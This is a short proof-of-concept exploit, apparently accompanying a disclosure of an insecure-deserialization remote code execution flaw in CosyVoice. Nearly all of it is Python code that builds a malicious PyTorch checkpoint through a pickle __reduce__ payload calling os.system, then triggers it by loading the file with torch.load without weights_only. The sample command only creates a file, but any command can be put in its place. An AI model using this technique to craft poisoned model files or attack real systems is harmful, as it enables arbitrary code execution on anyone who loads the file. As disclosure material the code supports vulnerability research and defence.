CVE-2026-31250 CosyVoice 不安全反序列化RCE漏洞

import torch import os import pickle # Malicious payload class class Exploit: def __reduce__(self): # Execute arbitrary command (e.g., creating a file) return (os.system, ('touch /tmp/pwned',)) # Create a malicious model file malicious_data = { 'state_dict': Exploit() } # Save the malicious checkpoint file with open('epoch_1_malicious.pt', 'wb') as f: torch.save(malicious_data, f) print("Malicious checkpoint created: epoch_1_malicious.pt") # --- Vulnerable code simulation in average_model.py --- print("\nSimulating vulnerable torch.load()...") # In the vulnerable code, it simply does: # checkpoint = torch.load(filepath) try: # This triggers the exploit because weights_only is NOT set to True checkpoint = torch.load('epoch_1_malicious.pt') print("Checkpoint loaded.") except Exception as e: print(f"Error: {e}")